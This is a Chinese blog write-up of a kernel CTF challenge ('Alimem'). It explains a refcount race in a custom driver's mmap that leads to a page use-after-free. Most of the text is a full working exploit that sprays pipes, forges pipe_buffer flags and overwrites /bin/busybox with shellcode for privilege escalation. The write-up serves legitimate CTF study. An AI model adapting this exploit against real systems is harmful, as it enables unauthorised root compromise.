AliyunCTF2025 Alimem

(这题比赛时竟然只有三解……

分析

给了一个菜单堆的模块, 问题在于mmap时是先获取page的reference, 然后映射到用户空间, 最后才增加page->refcount.

这就导致在多线程下, 一个线程正进行remap_pfn_range将页面映射到用户空间,此时page引用未增加, 但另一个进程减少一次page引用, page引用归零被释放.

此时用户可以在mmap的地址上直接读写这个UAF的页面.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
static int alimem_mmap(struct file *filp, struct vm_area_struct *vma)
{
int idx = vma->vm_pgoff;
struct alimem_page *page;
int ret = -EINVAL;

if (idx < 0 || idx >= MAX_PAGES) return -EINVAL;

if (vma->vm_end - vma->vm_start != PAGE_SIZE) {
return -EINVAL;
}

rcu_read_lock();
if(!pages[idx]) {
rcu_read_unlock();
return -EINVAL;
}
page = rcu_dereference(pages[idx]);
if (page) {
phys_addr_t phys = page->phys;
vma->vm_ops = &alimem_vm_ops;
vma->vm_private_data = page;
vm_flags_set(vma, vma->vm_flags | VM_DONTEXPAND | VM_DONTDUMP);
rcu_read_unlock();
if (remap_pfn_range(vma, vma->vm_start,
phys >> PAGE_SHIFT,
vma->vm_end - vma->vm_start,
vma->vm_page_prot)) {
return -EAGAIN;
}

atomic_inc(&page->refcount);
return 0;
}
rcu_read_unlock();
return ret;
}

static long alimem_ioctl(struct file *filp, unsigned int cmd, unsigned long arg)
{
int idx, ret = 0;
struct alimem_page *new_page;

switch (cmd) {
case ALIMEM_ALLOC: {
new_page = kzalloc(sizeof(*new_page), GFP_KERNEL);
if (!new_page) return -ENOMEM;

new_page->virt = (void *)__get_free_pages(GFP_KERNEL, PAGE_ORDER);
if (!new_page->virt) {
kfree(new_page);
return -ENOMEM;
}

new_page->phys = virt_to_phys(new_page->virt);
atomic_set(&new_page->refcount, 1);

down_write(&pages_lock);
for (idx = 0; idx < MAX_PAGES; idx++) {
if (!pages[idx]) {
rcu_assign_pointer(pages[idx], new_page);
up_write(&pages_lock);
return idx;
}
}
up_write(&pages_lock);
free_pages((unsigned long)new_page->virt, PAGE_ORDER);
kfree(new_page);
return -ENOSPC;
}

case ALIMEM_FREE: {
struct alimem_page *old;

if (get_user(idx, (int __user *)arg)) return -EFAULT;
if (idx < 0 || idx >= MAX_PAGES) return -EINVAL;

down_write(&pages_lock);
old = pages[idx];
if (old) {
rcu_assign_pointer(pages[idx], NULL);
if (atomic_dec_and_test(&old->refcount)) {
memset(old->virt, 0, PAGE_SIZE);
call_rcu(&old->rcu, free_page_rcu);
}
}
up_write(&pages_lock);
return 0;
}

......

EXP

经典的page-UAF, 直接dirtypipe完事.

主要注意的是竞争的构造:
一个完整流程分以下四步, 使用sync_s结构进行流程控制.

  1. 线程1分配页面并写入脏数据.
  2. 线程2开始mmap
  3. 线程1同时进行释放操作
  4. 线程2检查mmap是否成功, 若成功, 检查脏数据是否存在(利用释放时的页面清空操作来判断竞争是否成功)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
#include <kernelpwn.h>

#define MAX_PAGES 64
#define PAGE_ORDER 0
#define DEVICE_NAME "alimem"
#define ALIMEM_ALLOC 0x1337
#define ALIMEM_FREE 0x1338
#define ALIMEM_WRITE 0x1339
#define ALIMEM_READ 0x133a

int already_open = 0;


struct alimem_write {
int idx;
unsigned int offset;
const char *data;
size_t size;
};

struct alimem_read {
int idx;
unsigned int offset;
char *data;
size_t size;
};


void alloc()
{
ioctl(dev_fd,ALIMEM_ALLOC);
}


void delete(int _idx)
{
int idx = _idx;
ioctl(dev_fd,ALIMEM_FREE,&idx);
}

void ali_write(int _idx, char *buf, int size)
{
struct alimem_write wr;
wr.idx = _idx;
wr.offset = 0;
wr.data = buf;
wr.size = size;
ioctl(dev_fd,ALIMEM_WRITE,&wr);
}

void ali_read(int _idx, char *buf, int size)
{
struct alimem_read rd;
rd.idx = _idx;
rd.offset = 0;
rd.data = buf;
rd.size = size;
ioctl(dev_fd,ALIMEM_READ,&rd);
}


struct sync_s {
unsigned int x1;
unsigned int x2;
unsigned int x3;
unsigned int x4;
size_t addr;
};
struct sync_s sync_s;

#define MAPBASE 0x140000
void t1_func(void*)
{
bind_core(1);


int cnt = 1;
while(cnt++)
{
// logi("------t1_func: %d------",cnt);

while(!sync_s.x1)
;

sync_s.addr = mmap(MAPBASE,PAGE_SIZE,PROT_READ|PROT_WRITE,MAP_SHARED,dev_fd,0);

if(sync_s.addr != -1)
{
if(*(size_t*)sync_s.addr == 0)
{
logi("Success: %lx",sync_s.addr);
sync_s.x3 = 1;
sync_s.x2 = 1;
sleep(100);
}
logi("Fail: %lx",*(size_t*)sync_s.addr);
munmap(MAPBASE,PAGE_SIZE);
}

sync_s.x1 = 0;
sync_s.x2 = 1;

}
}

size_t buff[0x400];

int main()
{
int err;
setvbuf(stdout,_IONBF,0,0);
setvbuf(stderr,_IONBF,0,0);
save_status();


if((dev_fd = open("/dev/alimem",O_RDWR))<0)
{
err_exit("open device");
}



#define NPIPE_SPRAY 0x80
int pipe_fds[NPIPE_SPRAY][2];
for(int i = 0; i < NPIPE_SPRAY; ++i)
{
pipe(pipe_fds[i]);
}


pthread_t t1;
bind_core(0);

pthread_create(&t1,NULL,(void *)t1_func,NULL);



while(1)
{
alloc();
ali_write(0,"AAAAAAAA",8);
sync_s.x1 = 1;
sched_yield();

delete(0);

while(!sync_s.x2)
;

sync_s.x2 = 0;
if(sync_s.x3)
break;
}

bind_core(1);
for (int i = 0; i < NPIPE_SPRAY; i++)
{
if(fcntl(pipe_fds[i][1], F_SETPIPE_SZ, 4 * 0x1000) < 0)
{
perror("fcntl");
return -1;
}
}


int victim_piid = -1;
for(int i = 0; i < NPIPE_SPRAY; i++)
{
write(pipe_fds[i][1],"BBBBBBBB",8);
if((((size_t*)(MAPBASE))[2] & 0xfff) == 0x500)
{
victim_piid = i;
break;
}
}

hexdump(MAPBASE,PAGE_SIZE);
if(victim_piid == -1)
fail_exit("Not fount victim pipe");

logi("Found victim pipe:%d", victim_piid);

read(pipe_fds[victim_piid][0], buff, 8);


int target_fd = open("/bin/busybox", O_RDONLY);
loff_t offset = 0;
if(target_fd < 0) {
err_exit("Open Target File");
}
splice(target_fd, &offset, pipe_fds[victim_piid][1], NULL, 1, 0);

uint16_t pipe_id = 0;


struct pipe_buffer *fake_buffer = (struct pipe_buffer *)(MAPBASE)+1;
fake_buffer->flags = 0x10;
fake_buffer->len = 0;



unsigned char shellcode[] = {
0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,
0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,0xad,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xad,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0xb8,0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x50,0x48,0xb8,0x2e,0x67,0x6d,0x60,0x66,0x01,0x01,0x01,0x48,0x31,0x04,0x24,0x6a,0x02,0x58,0x48,0x89,0xe7,0x31,0xf6,0x0f,0x05,0x41,0xba,0xff,0xff,0xff,0x7f,0x48,0x89,0xc6,0x6a,0x28,0x58,0x6a,0x01,0x5f,0x99,0x0f,0x05
};


write(pipe_fds[victim_piid][1], shellcode, sizeof(shellcode));

system("/bin/su");

return 0;
}
  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2022-2025 翰青HanQi

请我喝杯咖啡吧~

支付宝
微信